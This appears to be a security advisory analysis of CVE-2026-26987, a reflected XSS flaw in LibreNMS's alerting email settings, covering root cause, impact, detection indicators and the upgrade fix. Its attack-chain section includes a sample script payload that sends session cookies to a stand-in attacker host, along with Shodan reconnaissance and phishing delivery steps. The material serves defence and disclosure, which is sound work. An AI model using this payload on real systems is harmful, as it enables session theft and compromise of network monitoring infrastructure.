CVE-2026-26987: 
PHP vulnerability analysis and mitigation

CVE-2026-26987 is a Reflected Cross-Site Scripting (XSS) vulnerability in LibreNMS, an auto-discovering PHP/MySQL/SNMP-based network monitoring tool. The vulnerability exists in the email field of the alerting settings page and affects LibreNMS versions 25.12.0 and below. It was published on February 17, 2026, and fixed in version 26.2.0 released on February 16, 2026. The CVSS v3.1 base score is 6.1 (Medium), and the CVSS v4.0 base score is 5.3 (Medium) (GitHub Advisory, LibreNMS Advisory).

The root cause is improper neutralization of user-controllable input before it is placed in output rendered as a web page (CWE-79). Specifically, when a user submitted settings via the alerting email configuration page (/settings/alerting/email), the application reflected the error response message — including the unsanitized email field value — directly into a toast notification using toastr.error(error.response.data.message), which rendered the content as HTML rather than plain text. The fix replaced this with DOM-safe text assignment using span.textContent, preventing script injection (Patch Commit, LibreNMS Advisory). No authentication is required to craft a malicious link, but user interaction (clicking the link) is necessary for exploitation.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a victim who clicks a crafted link, within the context of the LibreNMS application session. This can lead to account takeover (ATO) by stealing session cookies, performing unauthorized actions on behalf of the victim (such as modifying monitoring configurations), or redirecting users to phishing sites. Since LibreNMS manages network infrastructure monitoring, compromise of an administrator's session could expose sensitive network topology data and device credentials (GitHub Advisory, LibreNMS Advisory).

A proof-of-concept (PoC) video demonstrating exploitation was included in the original security advisory report (LibreNMS Advisory). There is no evidence of active in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.003% (0th percentile), indicating a very low probability of exploitation in the near term (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Reconnaissance: Identify internet-facing LibreNMS instances running version 25.12.0 or earlier using tools like Shodan or Censys, searching for LibreNMS-specific web UI fingerprints.
2. Craft malicious URL: Construct a URL targeting the LibreNMS alerting email settings endpoint (/settings/alerting/email) with a JavaScript payload embedded in the email field parameter, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Trigger error response: The payload is submitted in a way that causes the server to return an error message containing the unsanitized input, which is then reflected into the toastr.error() toast notification rendered as HTML in the victim's browser.
4. Deliver to victim: Send the crafted URL to a LibreNMS user (e.g., an administrator) via phishing email or other social engineering channels, inducing them to click the link while authenticated.
5. Execute payload: When the victim visits the URL, the injected JavaScript executes in their browser session, enabling cookie theft, session hijacking, or unauthorized actions within LibreNMS (GitHub Advisory, Patch Commit).

• Network: Unusual HTTP requests to /settings/alerting/email containing URL-encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=) in the email parameter; outbound connections from the LibreNMS server or victim browser to unknown external hosts shortly after accessing the settings page.
• Logs: Web server access logs showing GET or POST requests to /settings/alerting/email with abnormally long or encoded email field values containing HTML/JavaScript syntax; repeated requests from the same IP with varying payloads suggesting probing activity.
• Browser/Session: Unexpected session invalidation or new sessions created for privileged accounts; evidence of cookie exfiltration in network traffic logs.

The primary remediation is to upgrade LibreNMS to version 26.2.0 or later, which contains the fix (commit 8e626b3) that changes toast error rendering from HTML to plain text (LibreNMS Release, Patch Commit). As interim mitigations, organizations can deploy Web Application Firewall (WAF) rules to sanitize or block requests containing script tags or JavaScript in the email parameter, and restrict access to the LibreNMS settings pages to trusted network segments. Users should also be trained to avoid clicking unsolicited links to internal monitoring tools.

The vulnerability was discovered and reported internally by the LibreNMS maintainer murrant, who also authored the fix and published the advisory on February 17, 2026 (LibreNMS Advisory). The fix was merged as part of a broader security cleanup in the 26.2.0 release, which also addressed several other XSS issues (port group delete XSS, device group delete XSS, alert rule XSS) (LibreNMS Release). No significant external researcher commentary or media coverage has been identified beyond standard vulnerability database entries.